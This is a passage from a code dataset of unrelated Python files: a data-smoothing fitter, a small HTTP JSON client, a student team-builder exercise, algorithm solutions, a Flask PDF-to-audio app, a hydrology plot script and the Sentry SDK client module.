derivatives\n model_point = self.model[index] + step\n # weights = 1/abs( self.input[index] - self.input[index - 1] ), 1/abs( self.input[index + 1] - self.input[index] )\n weights = 1, 1\n left_deriv = (model_point - self.model[index - 1]) / (self.input[index] - self.input[index - 1])\n right_deriv = (self.model[index + 1] - model_point) / (self.input[index + 1] - self.input[index])\n return self.smoother * (( weights[0] * left_deriv - weights[1] * right_deriv ) / ( weights[0] + weights[1] )) ** 2.\n\n def boundary_slope_term(self, index, step=0.):\n # By definition, the boundary slopes want\n # to be the same as the adjacent interior\n # slopes. \n # TODO: Make the weights the same as the \n # interior\n interior_slope = None\n boundary_slope = None\n model_point = self.model[index] + step\n if index == 0:\n interior_slope = ( self.model[index + 2] - self.model[index + 1] ) / (self.input[index + 2] - self.input[index + 1])\n boundary_slope = (self.model[index + 1] - model_point) / ( self.input[index + 1] - self.input[index] )\n else:\n interior_slope = ( model_point - self.model[index - 1] ) / (self.input[index] - self.input[index - 1])\n boundary_slope = (self.model[index - 1] - self.model[index - 2]) / ( self.input[index - 1] - self.input[index - 2] )\n\n return self.smoother * ( interior_slope - boundary_slope ) ** 2.\n\n def point_cost(self, index, step=0.):\n slope_functions = self.point_model_slope_term, self.boundary_slope_term\n slope_function_idx = int( index == 0 or index == len(self.model)-1 )\n return self.point_model_diff_term(index, step) + slope_functions[slope_function_idx](index, step)\n\n def model_cost(self):\n # Only compute the cost from the interior\n cost = 0.\n for idx in range(0, len(self.model)):\n cost += self.point_cost(idx)\n return cost\n\n def model_rmse(self):\n return np.std( self.model - self.data )\n\n def wiggle(self, tolerance=1e-8, maxiter=int(1e4), check_convergence=50):\n starting_cost = self.model_cost()\n print(\"Starting cost = \", starting_cost)\n current_cost = starting_cost\n self.costs = np.zeros(maxiter)\n self.costs[0] = current_cost\n iteration = 0\n not_finished = True\n cost_fluctuations = 2**31 - 1\n while not_finished:\n iteration += 1\n max_step_width = self.model_rmse()\n for idx in range(0, len(self.input)):\n step = max_step_width * (-1 + 2 * np.random.rand())\n cost_change = self.point_cost(idx, step=step) - self.point_cost(idx, step=0.)\n self.model[idx] += step * (cost_change < 0.)\n \n previous_cost = current_cost\n current_cost = self.model_cost()\n self.costs[iteration] = current_cost\n\n if iteration % check_convergence == 0:\n cost_fluctuations = np.var( self.costs[ iteration-check_convergence : iteration ] ) / np.mean( self.costs[ iteration-check_convergence : iteration ] )**2\n\n finished = (iteration >= maxiter) or (cost_fluctuations < tolerance)\n not_finished = not(finished)\n\n print(\"Final cost =\", current_cost)\n print(\"Relative change = {}%\".format((current_cost - starting_cost) / starting_cost * 100) )\n print(\"Cost Fluctuations = {:.3e}\".format(cost_fluctuations), \"over last\", check_convergence, \"iterations.\")\n print(\"Total iterations =\", iteration)\n return\n\n\nif __name__ == \"__main__\":\n\n test_input = np.array([ 0, 1, 1.5, 2, 2.25, 2.5, 4, 5, 6, 7, 10, 11, 14, 16, 18 ])\n test_data = np.array([ 0, 0.5, 2, 4, 4.1, 4.5, 5, 5.5, 5.25, 4, 2, -2, -2, -1, -0.5 ])\n\n sdf = SmoothDataFitter()\n sdf.initialize_problem(test_input, test_data, smoother=1)\n weighted_avg = np.copy(sdf.model)\n sdf.wiggle()\n\n plt.plot(test_input, test_data, \"o-\", mec=\"k\", label=\"Test Data\")\n # plt.plot(test_input, weighted_avg, \"*-\", mec=\"k\", label=\"Weighted Average\")\n plt.plot(test_input, sdf.model, \"s-\", mec=\"k\", label=\"Monte Carlo Smooth\")\n\n plt.legend()\n plt.show()","repo_name":"meese-wj/Smooth-Data-Fits","sub_path":"SmoothDataFitter.py","file_name":"SmoothDataFitter.py","file_ext":"py","file_size_in_byte":8728,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"9745239901","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\nr\"\"\"Breeze client module.\n\n\"\"\"\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\nimport urllib, vbem_json\n\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n# common functions\n\ndef visit(sHostPort, sFun, dArgs, sEncodingPy='utf8', bPost=False):\n r\"\"\"Read breeze server.\n \"\"\"\n sHttp = sHostPort if sHostPort.startswith('http://') else 'http://'+sHostPort\n sJsonArgs = vbem_json.getJson(oPy=dArgs, sEncodingPy=sEncodingPy)\n if bPost:\n sUrl = sHttp + '/json'\n sJsonRet = urllib.urlopen(url=sUrl, data=urllib.urlencode([('fun',sFun),('args',sJsonArgs)])).read()\n else:\n sUrl = sHttp + '/json?' + urllib.urlencode([('fun',sFun),('args',sJsonArgs)])\n sJsonRet = urllib.urlopen(url=sUrl).read()\n oPy = vbem_json.getPy(sJson=sJsonRet, sEncodingJson='utf8', sEncodingPy=sEncodingPy)\n return {\n 'url' : sUrl,\n 'json' : sJsonRet,\n 'py' : oPy,\n }\n\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n# main\n\ndef _test():\n import pprint\n \n pprint.pprint(visit('localhost:8600','getFilesListByShell',{\"sPath\":\"/home/work\"},sEncodingPy='utf8'))\n\nif __name__ == '__main__':\n exit(_test())","repo_name":"vbem/breeze2","sub_path":"breeze_client.py","file_name":"breeze_client.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7537258242","text":"# top\nnome_top = ''\nelo_top = ''\ncontrole_top = 0\n\n# jungler\nnome_jungler = ''\nelo_jungler = ''\ncontrole_jungler = 0\n\n# mid\nnome_mid = ''\nelo_mid = ''\ncontrole_mid = 0\n\n# adc\nnome_adc = ''\nelo_adc = ''\ncontrole_adc = 0\n\n# suporte\nnome_suporte = ''\nelo_suporte = ''\ncontrole_suporte = 0\n\n# variáveis de ajuda\nrodada = 0\npontuacao = 0\ncontrole_while = 1\ncontrole_entrada = 0\ncontrole_faltantes = 5\n\n# recebimento dos dados\nwhile controle_while != 0:\n nome = str(input())\n\n # conferindo se é a bruna\n if nome == 'Bruna':\n print('LOL NÃO!!! TUDO MENOS LOL!!!')\n controle_while = 0\n\n # recebendo o resto, caso não seja\n else:\n lane = str(input())\n elo = str(input())\n rodada += 1\n\n # conferindo se o elo existe\n if elo != 'Bronze' and elo != 'Prata' and elo != 'Ouro' and elo != 'Platina' and elo != 'Diamante' and elo != 'Desafiante':\n print('Não conheço esse elo, então vou considerar que é um elo ruim.')\n\n # top\n if lane == 'Top' and controle_top == 0:\n nome_top = nome\n elo_top = elo\n controle_top = rodada\n controle_entrada = 1\n controle_faltantes -= 1\n print(f'{nome} entrou pro time.')\n if nome == 'Artur':\n print('Ele tá meio enferrujado...')\n elif nome == 'Frej':\n print('Joga muito!')\n\n # se for o 1°\n if controle_faltantes == 4:\n nome1 = nome_top\n lane1 = 'Top'\n elo1 = elo_top\n\n # se for o 2°\n elif controle_faltantes == 3:\n nome2 = nome_top\n lane2 = 'Top'\n elo2 = elo_top\n\n # se for o 3°\n elif controle_faltantes == 2:\n nome3 = nome_top\n lane3 = 'Top'\n elo3 = elo_top\n\n # se for o 4°\n elif controle_faltantes == 1:\n nome4 = nome_top\n lane4 = 'Top'\n elo4 = elo_top\n\n # se for o 5°\n elif controle_faltantes == 0:\n nome5 = nome_top\n lane5 = 'Top'\n elo5 = elo_top\n\n elif lane == 'Top' and controle_top != 0:\n print(f'{nome} não foi aceito, que pena.')\n\n # jungler\n elif lane == 'Jungler' and controle_jungler == 0:\n nome_jungler = nome\n elo_jungler = elo\n controle_jungler = rodada\n controle_entrada = 1\n controle_faltantes -= 1\n print(f'{nome} entrou pro time.')\n if nome == 'Artur':\n print('Ele tá meio enferrujado...')\n elif nome == 'Frej':\n print('Joga muito!')\n\n # se for o 1°\n if controle_faltantes == 4:\n nome1 = nome_jungler\n lane1 = 'Jungler'\n elo1 = elo_jungler\n\n # se for o 2°\n elif controle_faltantes == 3:\n nome2 = nome_jungler\n lane2 = 'Jungler'\n elo2 = elo_jungler\n\n # se for o 3°\n elif controle_faltantes == 2:\n nome3 = nome_jungler\n lane3 = 'Jungler'\n elo3 = elo_jungler\n\n # se for o 4°\n elif controle_faltantes == 1:\n nome4 = nome_jungler\n lane4 = 'Jungler'\n elo4 = elo_jungler\n\n # se for o 5°\n elif controle_faltantes == 0:\n nome5 = nome_jungler\n lane5 = 'Jungler'\n elo5 = elo_jungler\n\n elif lane == 'Jungler' and controle_jungler != 0:\n print(f'{nome} não foi aceito, que pena.')\n\n # mid\n elif lane == 'Mid' and controle_mid == 0:\n nome_mid = nome\n elo_mid = elo\n controle_mid = rodada\n controle_entrada = 1\n controle_faltantes -= 1\n print(f'{nome} entrou pro time.')\n if nome == 'Artur':\n print('Ele tá meio enferrujado...')\n elif nome == 'Frej':\n print('Joga muito!')\n\n # se for o 1°\n if controle_faltantes == 4:\n nome1 = nome_mid\n lane1 = 'Mid'\n elo1 = elo_mid\n\n # se for o 2°\n elif controle_faltantes == 3:\n nome2 = nome_mid\n lane2 = 'Mid'\n elo2 = elo_mid\n\n # se for o 3°\n elif controle_faltantes == 2:\n nome3 = nome_mid\n lane3 = 'Mid'\n elo3 = elo_mid\n\n # se for o 4°\n elif controle_faltantes == 1:\n nome4 = nome_mid\n lane4 = 'Mid'\n elo4 = elo_mid\n\n # se for o 5°\n elif controle_faltantes == 0:\n nome5 = nome_mid\n lane5 = 'Mid'\n elo5 = elo_mid\n\n elif lane == 'Mid' and controle_mid != 0:\n print(f'{nome} não foi aceito, que pena.')\n\n # adc\n elif lane == 'Adc' and controle_adc == 0:\n nome_adc = nome\n elo_adc = elo\n controle_adc = rodada\n controle_entrada = 1\n controle_faltantes -= 1\n print(f'{nome} entrou pro time.')\n if nome == 'Artur':\n print('Ele tá meio enferrujado...')\n elif nome == 'Frej':\n print('Joga muito!')\n\n # se for o 1°\n if controle_faltantes == 4:\n nome1 = nome_adc\n lane1 = 'Adc'\n elo1 = elo_adc\n\n # se for o 2°\n elif controle_faltantes == 3:\n nome2 = nome_adc\n lane2 = 'Adc'\n elo2 = elo_adc\n\n # se for o 3°\n elif controle_faltantes == 2:\n nome3 = nome_adc\n lane3 = 'Adc'\n elo3 = elo_adc\n\n # se for o 4°\n elif controle_faltantes == 1:\n nome4 = nome_adc\n lane4 = 'Adc'\n elo4 = elo_adc\n\n # se for o 5°\n elif controle_faltantes == 0:\n nome5 = nome_adc\n lane5 = 'Adc'\n elo5 = elo_adc\n\n elif lane == 'Adc' and controle_adc != 0:\n print(f'{nome} não foi aceito, que pena.')\n\n # suporte\n elif lane == 'Suporte' and controle_suporte == 0:\n nome_suporte = nome\n elo_suporte = elo\n controle_suporte = rodada\n controle_entrada = 1\n controle_faltantes -= 1\n print(f'{nome} entrou pro time.')\n if nome == 'Artur':\n print('Ele tá meio enferrujado...')\n elif nome == 'Frej':\n print('Joga muito!')\n\n # se for o 1°\n if controle_faltantes == 4:\n nome1 = nome_suporte\n lane1 = 'Suporte'\n elo1 = elo_suporte\n\n # se for o 2°\n elif controle_faltantes == 3:\n nome2 = nome_suporte\n lane2 = 'Suporte'\n elo2 = elo_suporte\n\n # se for o 3°\n elif controle_faltantes == 2:\n nome3 = nome_suporte\n lane3 = 'Suporte'\n elo3 = elo_suporte\n\n # se for o 4°\n elif controle_faltantes == 1:\n nome4 = nome_suporte\n lane4 = 'Suporte'\n elo4 = elo_suporte\n\n # se for o 5°\n elif controle_faltantes == 0:\n nome5 = nome_suporte\n lane5 = 'Suporte'\n elo5 = elo_suporte\n\n elif lane == 'Suporte' and controle_suporte != 0:\n print(f'{nome} não foi aceito, que pena.')\n\n # atribuindo os valores dos elos à pontuação\n if controle_entrada == 1:\n if elo == 'Bronze':\n pontuacao += 1\n elif elo == 'Prata':\n pontuacao += 2\n elif elo == 'Ouro':\n pontuacao += 4\n elif elo == 'Platina':\n pontuacao += 6\n elif elo == 'Diamante':\n pontuacao += 8\n elif elo == 'Desafiante':\n pontuacao += 10\n controle_entrada = 0\n\n # time completo\n if controle_top > 0 and controle_jungler > 0 and controle_mid > 0 and controle_adc > 0 and controle_suporte > 0:\n print('O time está completo.')\n\n # time, em ordem\n print(f'{nome1} - {lane1} ({elo1})')\n print(f'{nome2} - {lane2} ({elo2})')\n print(f'{nome3} - {lane3} ({elo3})')\n print(f'{nome4} - {lane4} ({elo4})')\n print(f'{nome5} - {lane5} ({elo5})')\n\n # pontuacao\n if (\n nome_top == 'Artur' or nome_jungler == 'Artur' or nome_mid == 'Artur' or nome_adc == 'Artur' or nome_suporte == 'Artur') and (\n nome_top != 'Frej' and nome_jungler != 'Frej' and nome_mid != 'Frej' and nome_adc != 'Frej' and nome_suporte != 'Frej'):\n print('Vai dar ruim...')\n elif (\n nome_top == 'Frej' or nome_jungler == 'Frej' or nome_mid == 'Frej' or nome_adc == 'Frej' or nome_suporte == 'Frej') and (\n nome_top != 'Artur' and nome_jungler != 'Artur' and nome_mid != 'Artur' and nome_adc != 'Artur' and nome_suporte != 'Artur'):\n print('A GENTE VAI GANHAR!!!')\n elif (pontuacao >= 18):\n print('A GENTE VAI GANHAR!!!')\n else:\n print('Vai dar ruim...')\n\n controle_while = 0\n","repo_name":"getuliojql/if669","sub_path":"lista02 - ex011.py","file_name":"lista02 - ex011.py","file_ext":"py","file_size_in_byte":9789,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39529831873","text":"# 11726\nimport sys\nsys.setrecursionlimit(10000)\n\ncache = [-1 for i in range(1002)]\n\ndef solve(n):\n if n == 1:\n cache[n] = 1\n return 1\n if n == 2:\n cache[n] = 2\n return 2\n if cache[n] != -1:\n return cache[n]\n\n cache[n] = solve(n-1) + solve(n-2)\n return cache[n] % 10007\n\nn = int(input()) \nprint(solve(n))","repo_name":"snulion-study/algorithm-int","sub_path":"sangwon/probs-baekjoon/11726.py","file_name":"11726.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41083691540","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 8 08:53:57 2018\n\n@author: diogo\n\"\"\"\n\ndef rm_letter_rev(l,astr):\n string = astr.replace(l, \"\")\n string = string[::-1]\n return(string)\n \nprint(rm_letter_rev(\"a\",\"paula\"))\n \n","repo_name":"Diogogrosario/FEUP-FPRO","sub_path":"RE06/rm_letter_rev.py","file_name":"rm_letter_rev.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10317784946","text":"class Solution(object):\n def flipAndInvertImage(self, A):\n \"\"\"\n :type A: List[List[int]]\n :rtype: List[List[int]]\n \"\"\"\n\n r_a = len(A)\n c_a = len(A[0])\n\n for i in range(r_a):\n for j in range(c_a):\n A[i][j] = 1 - A[i][j]\n A[i] = A[i][::-1]\n return A","repo_name":"ShuaiWang0410/LeetCode-2nd-Stage","sub_path":"LeetCode-Stage2/TooSimple/Problem_832.py","file_name":"Problem_832.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39648452800","text":"from flask import Flask, render_template, request, redirect, url_for\nimport PyPDF2\nimport pyttsx3\nimport pikepdf\n\napp = Flask(__name__)\n\n@app.route(\"/\", methods=['GET', 'POST'])\ndef home():\n return render_template('index.html')\n\n@app.route(\"/say\", methods=['GET', 'POST'])\ndef say():\n if request.method == 'POST':\n # Get PDF name\n pdf_input = str(request.form.get(\"thing\"))\n pdf_name = f\"{pdf_input}.pdf\"\n\n # Extract file and save in new file\n pdf = pikepdf.open(pdf_name)\n pdf.save('extractable.pdf')\n\n try:\n # Open filepath and file read object\n path = open('extractable.pdf', 'rb')\n pdfReader = PyPDF2.PdfFileReader(path)\n numPages = pdfReader.getNumPages()\n\n for i in range (0, numPages):\n # Start all text from page 1\n from_page = pdfReader.getPage(i)\n text = from_page.extractText()\n\n # Speak the text and wait until everything is said\n speak = pyttsx3.init()\n speak.say(text)\n speak.runAndWait()\n\n # If error do nothing\n except:\n return redirect(url_for(\"home\"))\n\n return redirect(url_for(\"home\"))\n\n return redirect(url_for(\"home\"))\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"thomaskahng/PDF-To-Audio","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35212223165","text":"\ndef solution(money):\n # i 번 째 집에서 도둑질 할 수 있는 최대 금액: dp[i]\n # dp[i] = max(dp[i-1], dp[i-2] + money[i])\n\n # case 1: 첫번 째 집을 터는 경우 ( 맨 마지막 집을 고려할 수 없음)\n dp1 = [0] * len(money)\n dp1[0] = money[0]\n dp1[1] = max(money[1], money[0])\n \n for i in range(2, len(money)-1):\n dp1[i] = max(dp1[i-1], dp1[i-2] + money[i])\n \n # case 2: 첫번 째 집을 털지 않는 경우 ( 맨 마지막 집을 고려함)\n dp2 = [0] * len(money)\n dp2[0] = 0\n dp2[1] = money[1]\n for i in range(2, len(money)):\n dp2[i] = max(dp2[i-1], dp2[i-2] + money[i])\n\n return max(max(dp1), max(dp2))\n\nmoney = [1,2,3,1]\nsolution(money)","repo_name":"HyungJunGoo/AlgorithmProblems","sub_path":"Programmers/lv4/kakao_thief.py","file_name":"kakao_thief.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71420338172","text":"import os\nimport xml.etree.ElementTree as ET\nfrom datetime import datetime\n\nXMLFile = os.path.join(os.path.curdir, \"obj\", \"DataStore\", \"DateVer.xml\")\n\ntry:\n XMLTree = ET.parse(XMLFile)\n XMLRoot = XMLTree.getroot()\n\nexcept:\n print(\"No date and version found. Reverting to default.\")\n\n\ndef readDateVer():\n bingoDateStr = \"01 Jan 00\"\n bingoDate = datetime.strptime(bingoDateStr, \"%d %b %y\")\n v = 1\n global XMLTree\n\n try:\n for ri in XMLTree.iter(\"*\"):\n\n if ri.tag == \"bingoDateStr\":\n bingoDateStr = ri.text\n bingoDate = datetime.strptime(bingoDateStr, \"%d %b %y\")\n if ri.tag == \"v\":\n v = int(ri.text)\n except:\n # print(\"No date and version found. Reverting to default.\")\n WriteDateVer(bingoDateStr, v)\n\n return bingoDate, v\n\n\ndef WriteDateVer(bingoDateStr, v):\n # because when there isn't anything in the file it can skip the parsing, so need to do it again here.\n global XMLTree\n global XMLRoot\n try:\n for rootItem in XMLRoot.findall(\"*\"):\n XMLRoot.remove(rootItem)\n XMLTree.write(XMLFile)\n except:\n XMLRoot = ET.Element(\"Root\")\n\n XMLTree = ET.ElementTree(XMLRoot)\n\n # write the bingoDateStr to XML\n bD = ET.Element(\"bingoDateStr\")\n bD.text = bingoDateStr\n XMLRoot.append(bD)\n\n # write the version to XML\n vV = ET.Element(\"v\")\n vV.text = str(v)\n XMLRoot.append(vV)\n\n # save new XML\n ET.indent(XMLRoot, \" \")\n XMLTree.write(XMLFile)\n","repo_name":"Kenny-Dave/Discord-BingoBot","sub_path":"XMLDateVer.py","file_name":"XMLDateVer.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11210100914","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 23 23:33:30 2018\n\n@author: wang.3866\n\"\"\"\nimport os\nimport xarray as xr\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nif ('EBRO' in os.environ['COMPUTERNAME']):\n os.chdir('L:\\ESRL\\Chun\\CWatM\\CWATM_outputTemp')\nelse:\n os.chdir('L:\\ESRL\\Chun\\CWatM\\CWATM_outputTemp')\n\ngauge = [-83.71278, 41.5]\n#gauge = [-83.7, 41.465]\n\ndata = xr.open_dataset('discharge_daily.nc')\nq = data.discharge.mean(dim='time')\nfig, ax = plt.subplots(figsize=(12,9))\nX, Y = np.meshgrid(q.lon, q.lat)\nh = ax.imshow(q)\nax.plot(np.argmin(abs(q.lon - gauge[0])), \n np.argmin(abs(q.lat - gauge[1])), \n '*', markeredgecolor='k', markerfacecolor='y', markersize=10)\nax.set_xticks(range(0, len(q.lon), 5))\nax.set_xticklabels(['%.2f' % x for x in q.lon.values[::5]])\nax.set_yticks(range(0, len(q.lat), 3))\nax.set_yticklabels(['%.2f' % x for x in q.lat.values[::5]])\ncbar = fig.colorbar(h)\ndata.close()\n\n# =============================================================================\n# data = xr.open_dataset('ETRef_daily.nc')\n# print(data.ETRef)\n# data.close()\n# \n# data = xr.open_dataset('Precipitation_daily.nc')\n# print(data.Precipitation)\n# data.close()\n# \n# \n# os.chdir('L:\\ESRL\\Chun\\CWatM\\CWATM_data\\climate\\wfdei')\n# \n# data = xr.open_dataset('pr.nc')\n# (data.pr.isel(time=0) * 86400).plot()\n# data.close()\n# =============================================================================\n","repo_name":"iiasa/NEST","sub_path":"Community_Water_Model/CWATM_analyze/maumeeplus5min_check.py","file_name":"maumeeplus5min_check.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"78"} +{"seq_id":"72851784253","text":"import os\nimport uuid\nimport random\nfrom datetime import datetime\nimport socket\n\nfrom sentry_sdk._compat import string_types, text_type, iteritems\nfrom sentry_sdk.utils import (\n handle_in_app,\n get_type_name,\n capture_internal_exceptions,\n current_stacktrace,\n disable_capture_event,\n logger,\n)\nfrom sentry_sdk.serializer import serialize\nfrom sentry_sdk.transport import make_transport\nfrom sentry_sdk.consts import DEFAULT_OPTIONS, SDK_INFO, ClientConstructor\nfrom sentry_sdk.integrations import setup_integrations\nfrom sentry_sdk.utils import ContextVar\n\nfrom sentry_sdk._types import MYPY\n\nif MYPY:\n from typing import Any\n from typing import Callable\n from typing import Dict\n from typing import Optional\n\n from sentry_sdk.scope import Scope\n from sentry_sdk._types import Event, Hint\n\n\n_client_init_debug = ContextVar(\"client_init_debug\")\n\n\ndef _get_options(*args, **kwargs):\n # type: (*Optional[str], **Any) -> Dict[str, Any]\n if args and (isinstance(args[0], (text_type, bytes, str)) or args[0] is None):\n dsn = args[0] # type: Optional[str]\n args = args[1:]\n else:\n dsn = None\n\n rv = dict(DEFAULT_OPTIONS)\n options = dict(*args, **kwargs)\n if dsn is not None and options.get(\"dsn\") is None:\n options[\"dsn\"] = dsn\n\n for key, value in iteritems(options):\n if key not in rv:\n raise TypeError(\"Unknown option %r\" % (key,))\n rv[key] = value\n\n if rv[\"dsn\"] is None:\n rv[\"dsn\"] = os.environ.get(\"SENTRY_DSN\")\n\n if rv[\"release\"] is None:\n rv[\"release\"] = os.environ.get(\"SENTRY_RELEASE\")\n\n if rv[\"environment\"] is None:\n rv[\"environment\"] = os.environ.get(\"SENTRY_ENVIRONMENT\")\n\n if rv[\"server_name\"] is None and hasattr(socket, \"gethostname\"):\n rv[\"server_name\"] = socket.gethostname()\n\n return rv\n\n\nclass _Client(object):\n \"\"\"The client is internally responsible for capturing the events and\n forwarding them to sentry through the configured transport. It takes\n the client options as keyword arguments and optionally the DSN as first\n argument.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n # type: (*Any, **Any) -> None\n self.options = get_options(*args, **kwargs) # type: Dict[str, Any]\n self._init_impl()\n\n def __getstate__(self):\n # type: () -> Any\n return {\"options\": self.options}\n\n def __setstate__(self, state):\n # type: (Any) -> None\n self.options = state[\"options\"]\n self._init_impl()\n\n def _init_impl(self):\n # type: () -> None\n old_debug = _client_init_debug.get(False)\n try:\n _client_init_debug.set(self.options[\"debug\"])\n self.transport = make_transport(self.options)\n\n request_bodies = (\"always\", \"never\", \"small\", \"medium\")\n if self.options[\"request_bodies\"] not in request_bodies:\n raise ValueError(\n \"Invalid value for request_bodies. Must be one of {}\".format(\n request_bodies\n )\n )\n\n self.integrations = setup_integrations(\n self.options[\"integrations\"],\n with_defaults=self.options[\"default_integrations\"],\n )\n finally:\n _client_init_debug.set(old_debug)\n\n @property\n def dsn(self):\n # type: () -> Optional[str]\n \"\"\"Returns the configured DSN as string.\"\"\"\n return self.options[\"dsn\"]\n\n def _prepare_event(\n self,\n event, # type: Event\n hint, # type: Optional[Hint]\n scope, # type: Optional[Scope]\n ):\n # type: (...) -> Optional[Event]\n\n if event.get(\"timestamp\") is None:\n event[\"timestamp\"] = datetime.utcnow()\n\n hint = dict(hint or ()) # type: Hint\n\n if scope is not None:\n event_ = scope.apply_to_event(event, hint)\n if event_ is None:\n return None\n event = event_\n\n if (\n self.options[\"attach_stacktrace\"]\n and \"exception\" not in event\n and \"stacktrace\" not in event\n and \"threads\" not in event\n ):\n with capture_internal_exceptions():\n event[\"threads\"] = {\n \"values\": [\n {\n \"stacktrace\": current_stacktrace(\n self.options[\"with_locals\"]\n ),\n \"crashed\": False,\n \"current\": True,\n }\n ]\n }\n\n for key in \"release\", \"environment\", \"server_name\", \"dist\":\n if event.get(key) is None and self.options[key] is not None:\n event[key] = text_type(self.options[key]).strip()\n if event.get(\"sdk\") is None:\n sdk_info = dict(SDK_INFO)\n sdk_info[\"integrations\"] = sorted(self.integrations.keys())\n event[\"sdk\"] = sdk_info\n\n if event.get(\"platform\") is None:\n event[\"platform\"] = \"python\"\n\n event = handle_in_app(\n event, self.options[\"in_app_exclude\"], self.options[\"in_app_include\"]\n )\n\n # Postprocess the event here so that annotated types do\n # generally not surface in before_send\n if event is not None:\n event = serialize(event)\n\n before_send = self.options[\"before_send\"]\n if before_send is not None:\n new_event = None\n with capture_internal_exceptions():\n new_event = before_send(event, hint or {})\n if new_event is None:\n logger.info(\"before send dropped event (%s)\", event)\n event = new_event # type: ignore\n\n return event\n\n def _is_ignored_error(self, event, hint):\n # type: (Event, Hint) -> bool\n exc_info = hint.get(\"exc_info\")\n if exc_info is None:\n return False\n\n type_name = get_type_name(exc_info[0])\n full_name = \"%s.%s\" % (exc_info[0].__module__, type_name)\n\n for errcls in self.options[\"ignore_errors\"]:\n # String types are matched against the type name in the\n # exception only\n if isinstance(errcls, string_types):\n if errcls == full_name or errcls == type_name:\n return True\n else:\n if issubclass(exc_info[0], errcls):\n return True\n\n return False\n\n def _should_capture(\n self,\n event, # type: Event\n hint, # type: Hint\n scope=None, # type: Optional[Scope]\n ):\n # type: (...) -> bool\n if scope is not None and not scope._should_capture:\n return False\n\n if (\n self.options[\"sample_rate\"] < 1.0\n and random.random() >= self.options[\"sample_rate\"]\n ):\n return False\n\n if self._is_ignored_error(event, hint):\n return False\n\n return True\n\n def capture_event(\n self,\n event, # type: Event\n hint=None, # type: Optional[Hint]\n scope=None, # type: Optional[Scope]\n ):\n # type: (...) -> Optional[str]\n \"\"\"Captures an event.\n\n :param event: A ready-made event that can be directly sent to Sentry.\n\n :param hint: Contains metadata about the event that can be read from `before_send`, such as the original exception object or a HTTP request object.\n\n :returns: An event ID. May be `None` if there is no DSN set or of if the SDK decided to discard the event for other reasons. In such situations setting `debug=True` on `init()` may help.\n \"\"\"\n if disable_capture_event.get(False):\n return None\n\n if self.transport is None:\n return None\n if hint is None:\n hint = {}\n event_id = event.get(\"event_id\")\n if event_id is None:\n event[\"event_id\"] = event_id = uuid.uuid4().hex\n if not self._should_capture(event, hint, scope):\n return None\n event_opt = self._prepare_event(event, hint, scope)\n if event_opt is None:\n return None\n self.transport.capture_event(event_opt)\n return event_id\n\n def close(\n self,\n timeout=None, # type: Optional[float]\n callback=None, # type: Optional[Callable[[int, float], None]]\n ):\n # type: (...) -> None\n \"\"\"\n Close the client and shut down the transport. Arguments have the same\n semantics as :py:meth:`Client.flush`.\n \"\"\"\n if self.transport is not None:\n self.flush(timeout=timeout, callback=callback)\n self.transport.kill()\n self.transport = None\n\n def flush(\n self,\n timeout=None, # type: Optional[float]\n callback=None, # type: Optional[Callable[[int, float], None]]\n ):\n # type: (...) -> None\n \"\"\"\n Wait for the current events to be sent.\n\n :param timeout: Wait for at most `timeout` seconds. If no `timeout` is provided, the `shutdown_timeout` option value is used.\n\n :param callback: Is invoked with the number of pending events and the configured timeout.\n \"\"\"\n if self.transport is not None:\n if timeout is None:\n timeout = self.options[\"shutdown_timeout\"]\n self.transport.flush(timeout=timeout, callback=callback)\n\n def __enter__(self):\n # type: () -> _Client\n return self\n\n def __exit__(self, exc_type, exc_value, tb):\n # type: (Any, Any, Any) -> None\n self.close()\n\n\nfrom sentry_sdk._types import MYPY\n\nif MYPY:\n # Make mypy, PyCharm and other static analyzers think `get_options` is a\n # type to have nicer autocompletion for params.\n #\n # Use `ClientConstructor` to define the argument types of `init` and\n # `Dict[str, Any]` to tell static analyzers about the return type.\n\n class get_options(ClientConstructor, Dict[str, Any]):\n pass\n\n class Client(ClientConstructor, _Client):\n pass\n\n\nelse:\n # Alias `get_options` for actual usage. Go through the lambda indirection\n # to throw PyCharm off of the weakly typed signature (it would otherwise\n # discover both the weakly typed signature of `_init` and our faked `init`\n # type).\n\n get_options = (lambda: _get_options)()\n Client = (lambda: _Client)()\n","repo_name":"Darrenzzy/pro-guide","sub_path":"config-files/alfred/Alfred.alfredpreferences/workflows/user.workflow.8FE11AFD-F072-442E-BAC4-7F97DDE48363/sentry_sdk/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":10475,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"78"} +{"seq_id":"40274437254","text":"def is_happy(n):\n my_set = set()\n while n 